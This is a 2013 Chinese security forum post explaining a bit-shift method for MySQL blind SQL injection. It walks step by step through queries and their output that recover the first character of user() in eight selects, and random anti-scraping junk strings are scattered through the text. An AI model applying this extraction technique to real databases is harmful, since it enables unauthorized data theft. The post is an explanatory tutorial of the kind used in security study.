找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2015|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位: ]) c$ E) Z4 L( G1 r5 d# [
8 s& `( T7 O3 s5 u7 C" ^& {# ^% K

# S& i$ M3 J, u( T7 d$ I# J1 w5 ^/ }, l6 U  O* ?
下面将以查询mysql数据库当中user()的第一位为例:
6 O4 V. l$ B, w* f$ l5 Z6 W' t' b* d) f3 o: ]1 b
1 q; u5 D' p1 h; m

7 [5 @1 T2 ]2 gps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)7 P* D0 \3 o2 D/ J

8 S* d; u) m9 m - J) p" m/ A3 I

6 I- @7 e9 D& K9 Z3 I首先执行如下sql语句:
+ x2 R% n/ O: |0 e1 ]7 N  j# ~2 _1 U7 J+ f- ?: _7 f4 N

- h8 Z4 ]8 ]3 Q% l; l) O" I3 @# a( D( n1 e6 e4 T! {0 W
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
/ x* {! y  X, u, J
) V( j1 @( @9 z; W. u  f/ p! y
8 x" n; u. X/ p1 ^; I
0 G' w; c% y9 g$ U9 y我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
  I3 ?3 |$ _9 O# L! ?
  C  @4 Z* {$ ~$ w: O0 O7 Z+ u0 }
2 V* ~; O' {$ _% L- l
2 p5 E' K* P4 n3 Q, \5 r  a8 e第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
( K6 `+ z- t/ Z; c# R2 S0 y# P" p, V9 T- i% v3 x* x2 C
; C2 w% t) P* {! C3 w5 d

% A. V' s5 q6 M. K如果运算结果为1,说明第一位为0,不为13 F* i/ P! X' U0 V3 ]- J: n2 I

6 t2 d2 A: f1 v. Q  D0 U . n( ~/ s6 S. L% X2 C2 O
+ t# a( d) R" b3 l" k' j
+————————————–+
) Z. k0 b" U' s7 f" Z. K) {/ w% t6 O
| (ascii((substr(user(),1,1))) >> 7)=0 |9 p" ?, q0 E( A5 _0 I/ L4 A

2 N0 i$ \+ r' B+————————————–+
2 r9 a$ b9 w" m4 d  O& R6 O
& g+ r  a. I2 T; U$ ~| 1 |
- h. Y! L  h  M8 s% U7 |4 p* f
7 \* Z, u8 [" _) L( e9 w+————————————–+# @4 p- m! r2 V; G# L# I" V

  C2 b2 S) J8 g6 o; n9 u; F1 row in set (0.00 sec); L, ?0 `3 G8 |
+ Q( _; `; h8 B4 U: |9 j
这样我们就确定这个8bit的ascii的第一位为01 s) h; V# T1 |
. l1 L" v- q7 K/ a; S' E- K
. a8 |4 T* _8 o4 ]

4 O$ w6 T/ Q6 M! o4 r8 |2 I; A. @第二次我们来做6次右偏移来确定前两位+ _. ~: W, W; D; g* `8 N$ _  R' v

" Z& W  \8 B& m% I! D2 `5 T" L
8 ?+ r4 U% D! c+ p! K: |+ U# o, H; l+ ^9 K$ M' E7 ~$ G6 z% D
前两位可能是01或00,即依然可以与0做比较,. w2 [9 U! Q/ C+ _+ A* B

3 p$ X% {  y5 c! Z) W8 C/ B* k- {+ tmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
( s3 G/ D6 W: H% |" F/ q! R9 F! N1 Q' q& ]. @4 C' f, X9 B4 W6 D: ?
+————————————–+
4 w) Y! H- [" h0 D" t( C
5 X7 T: T& W6 z9 k" b| (ascii((substr(user(),1,1))) >> 6)=0 |
$ i* R7 x3 T( w+ a
0 c0 S4 e4 Z* y+————————————–+
5 I# _  @, D9 ^. s; V7 l4 e7 v7 ?, z2 `3 e0 _
| 0 |; h4 g9 g# y, n7 ?! B, L5 E
  M2 W, `8 X; x5 M
+————————————–+  l- [1 A) d$ M0 Y. e) b
3 N4 Q2 Q8 j: I2 q2 S' e
1 row in set (0.00 sec)7 I4 c  n. w1 L2 D" K6 r' o
, R; L) z# {7 @+ W6 b1 T" W! X
1 o8 K+ g# v! ?$ Y( k
' a- U) m; i# L) ~" D
结果为0,即第二位为1
# b2 H& b, J$ C; B0 L- z
7 |7 R' t0 N- f7 `
( r. r' L1 U; w  R4 T* l6 X1 Q6 _2 E$ v
开始猜测前三位为010或011
' A# c: x: K4 H8 ?4 I
. S4 v# v2 B" P$ f& l  v / ^5 F1 X  F) a# d% z
/ k& r3 i( e( `4 L3 y
让我们看看010和011的ascii码是多少. D6 w& }3 d8 V$ `4 @/ \0 G
: ^: K3 ^8 V' u: U: x0 `% E

) o1 ]7 [& ~( }+ K- l! W; d$ {6 N% j
分别查询select b’011′ select b’010′
) ~2 j+ q2 a( S( J8 R& O" c% y/ s

/ A) i1 p- q7 O6 J7 u# ]
- n  x; i! ?8 K* D1 `1 s获得结果 010 = 2 011 = 3
2 d9 f+ _, y# f% J9 \
7 f8 j0 q) S7 Z) P. o7 P , b$ c# |% |% z8 A8 p

: w8 L1 e% M8 U" ]执行如下sql:
; q& k4 o, p' S0 P5 j
3 `- L# F$ L" P$ ?4 I1 d
6 u# [/ A6 ?$ A9 z, A* B' J& D
7 w/ T2 ?' J* {mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
: v8 M: z% T0 n: Q7 ~3 N- s: G; Q1 Q: P5 |
+————————————–+
  |& c4 [& W- k2 ]" x* R5 u: m- M1 ?
| (ascii((substr(user(),1,1))) >> 5)=2 |% y6 g* O, \$ G* G  Q' M1 ?! n

: ^8 C5 j1 r' N' y# F+————————————–+
, n/ a5 g" g* a6 k
& c2 Z+ K! v5 M; [4 A| 0 |
- @8 \2 x4 ?  N0 x& q; b' y. x) e
( U! m7 j( k- f  J# ^) z, X+————————————–+
! r+ p% Z. Q- g' P0 d4 T, ?2 H
即前三位不为010,而是011; b$ \8 j% v& j2 A/ E

, ~9 o# u# j5 _+ {. @9 Z) ] . p. U' K% t5 U8 X& _1 X( T7 a

2 k6 D1 p8 s/ ~, E直到获得最后一位
8 y0 i. m3 }5 x0 r) J% ]' ]9 X/ u% y# s1 k

9 T4 g$ S9 E# T" b' p( J- {6 N( V$ I8 ]0 G/ z( ^6 k' K
最终结果为:01110010
* M8 o' r4 `$ C6 V7 O$ K6 @
. K6 X# \- f- l- b 5 t" ?0 L) k  J3 Q  g
( _) l8 x. d# h! u
转换一下:2 Y7 Y) k0 n2 L! X/ f

5 o# E( e! h! t& R5 m
/ a6 N8 c; r- c9 r( M' _" W
4 B' g( A; T" x& W4 t$ O9 Cselect b’01110010′9 Y( ]+ a% l8 A2 x$ w0 I

$ e& Z  S) B7 H1 t( R8 V3 K; _
* c3 [( f$ E1 y) N1 M! E
/ s/ E+ g& S1 d4 T' Q查询结果
8 C' D0 |6 @+ h& t. L3 T+ ~3 ?4 \9 \! i
& S0 e6 W, F) d) P3 @9 t( e
' n, E+ R0 L. t/ K/ l
+————-+7 G+ t% P$ x* P# F! h, n

7 ~0 M* A0 u5 b9 n) o8 ^5 _| b’01110010′ |' w9 U. ^- S" n$ b2 x
0 I% U7 X6 Q: ?5 b
+————-+
7 N/ F# s; m. f, Y0 x) L2 i3 |
0 ~) E* u7 ^/ r  U- T! F| r |5 t( ~: Z1 ~- k

6 F; V- U- ?* {- k+————-+% W9 K: m4 S6 Z$ h1 S" |: @
# ~; P6 k- o" }/ z1 V! n# e% H
1 row in set (0.00 sec); N, Z3 _  H( k2 u8 D0 `" p8 {1 C  r# W

0 n2 R! I# C4 a* K) t
8 Z# X+ W# r: x# _1 k) ]# j' v
" \: U( z; V- H$ p0 k. W) n这样我们就获得了user()的第一位.其它位依此类推
! j- a& D  A7 R: J# N3 ]7 G
6 A0 {8 A8 q8 A% j5 B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表